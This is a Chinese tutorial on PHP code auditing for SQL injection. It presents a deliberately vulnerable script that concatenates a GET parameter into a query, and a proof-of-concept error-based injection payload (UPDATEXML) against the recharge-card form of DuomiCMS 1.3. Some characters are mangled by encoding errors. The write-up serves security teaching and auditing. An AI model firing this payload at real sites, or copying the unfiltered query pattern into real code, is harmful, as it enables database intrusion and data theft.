溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

PHP代碼審計(jì)SQL注入篇

發(fā)布時(shí)間:2020-06-23 11:53:29 來(lái)源:網(wǎng)絡(luò) 閱讀:1917 作者:jzking121 欄目:數(shù)據(jù)庫(kù)

什么是SQL注入

SQL注入***(SQL Injection),簡(jiǎn)稱注入***,是Web開(kāi)發(fā)中最常見(jiàn)的一種安全漏洞??梢杂盟鼇?lái)從數(shù)據(jù)庫(kù)獲取敏感信息,或者利用數(shù)據(jù)庫(kù)的特性執(zhí)行添加用戶,導(dǎo)出文件等一系列惡意操作,甚至有可能獲取數(shù)據(jù)庫(kù)乃至系統(tǒng)用戶最高權(quán)限。

而造成SQL注入的原因是因?yàn)槌绦驔](méi)有有效過(guò)濾用戶的輸入,使***者成功的向服務(wù)器提交惡意的SQL查詢代碼,程序在接收后錯(cuò)誤的將***者的輸入作為查詢語(yǔ)句的一部分執(zhí)行,導(dǎo)致原始的查詢邏輯被改變,額外的執(zhí)行了***者精心構(gòu)造的惡意代碼。

SQL注入實(shí)例

很多Web開(kāi)發(fā)者沒(méi)有意識(shí)到SQL查詢是可以被篡改的,從而把SQL查詢當(dāng)作可信任的命令。殊不知,SQL查詢是可以繞開(kāi)訪問(wèn)控制,從而繞過(guò)身份驗(yàn)證和權(quán)限檢查的。更有甚者,有可能通過(guò)SQL查詢?nèi)ミ\(yùn)行主機(jī)系統(tǒng)級(jí)的命令。

下面將通過(guò)一些真實(shí)的例子來(lái)詳細(xì)講解SQL注入的方式。

 PHP代碼審計(jì)SQL注入篇
 

測(cè)試代碼如下:

  1. <?php
  2. $uid=$_GET['id'];
  3. $sql="SELECT * FROM userinfo where id=$uid";
  4. $conn=mysql_connect ('localhost','root','root');
  5. mysql_select_db("sql",$conn);
  6. $result=mysql_query($sql,$conn);
  7. print_r('當(dāng)前SQL語(yǔ)句: '.$sql.'
    結(jié)果: '
    );
  8. print_r(mysql_fetch_row($result));
  9. ?>
PHP代碼審計(jì)SQL注入篇
 
首先我們看一下代碼:
  1. $uid=$_GET['id']; //獲取GET值
  1. $sql="SELECT * FROM userinfo where id=$uid"; //執(zhí)行SQL語(yǔ)句
  1. $conn=mysql_connect ('localhost','root','root');
  2. mysql_select_db("sql",$conn); //數(shù)據(jù)庫(kù)配配置
  1. $result=mysql_query($sql,$conn); //進(jìn)行查詢SQL語(yǔ)句
  1. print_r('當(dāng)前SQL語(yǔ)句: '.$sql.'
    結(jié)果: '
    );
  2. print_r(mysql_fetch_row($result)); //進(jìn)行打印輸出沒(méi)有任何的過(guò)濾所以利用簡(jiǎn)單的SQL注入語(yǔ)句就可以直接查詢相關(guān)需要的信息。
PHP代碼審計(jì)SQL注入篇
 
從截圖可以看出原本的SQL語(yǔ)句已被注入更改,使用了UNION查詢到當(dāng)前用戶。

另外一個(gè)多米CMS最新版1.3版本注入實(shí)例。
漏洞文件member/mypay.php(14-40行)
  1. if(empty($_SESSION['duomi_user_id'])){
  2. showMsg("請(qǐng)先登錄","login.php");
  3. exit();
  4. }
  5. elseif($dm=='mypay'){
  6. $key=$_POST['cardkey'];
  7. if($key==""){showMsg("請(qǐng)輸入充值卡號(hào)","-1");exit;}
  8. $pwd=$_POST['cardpwd'];
  9. if($pwd==""){showMsg("請(qǐng)輸入充值卡密碼","-1");exit;}
  10. $sqlt="SELECT * FROM duomi_card where ckey='$key'";
  11. $sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
  12. $row1 = $dsql->GetOne($sqlt);
  13. if(!is_array($row1) OR $row1['status']<>0){
  14. showMsg("充值卡信息有誤","-1");exit;
  15. }else{
  16. $uname=$_SESSION['duomi_user_name'];
  17. $points=$row1['climit'];
  18. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
  19. $dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
  20. $dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
  21. showMsg("恭喜!充值成功!","mypay.php");exit;
  22. }
  23. }
  24. else
  25. {

此處的”cardpwd”變量沒(méi)有進(jìn)行過(guò)濾就以POST提交方式傳入了數(shù)據(jù)庫(kù)造成注入。 構(gòu)造POC如下(注意此處需要注冊(cè)用戶并且登陸詳情請(qǐng)看該文件1-17行):
  1. http://localhost/member/mypay.php?dm=mypay
  2. POSTcardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1

PHP代碼審計(jì)SQL注入篇
 



來(lái)自為知筆記(Wiz)


向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI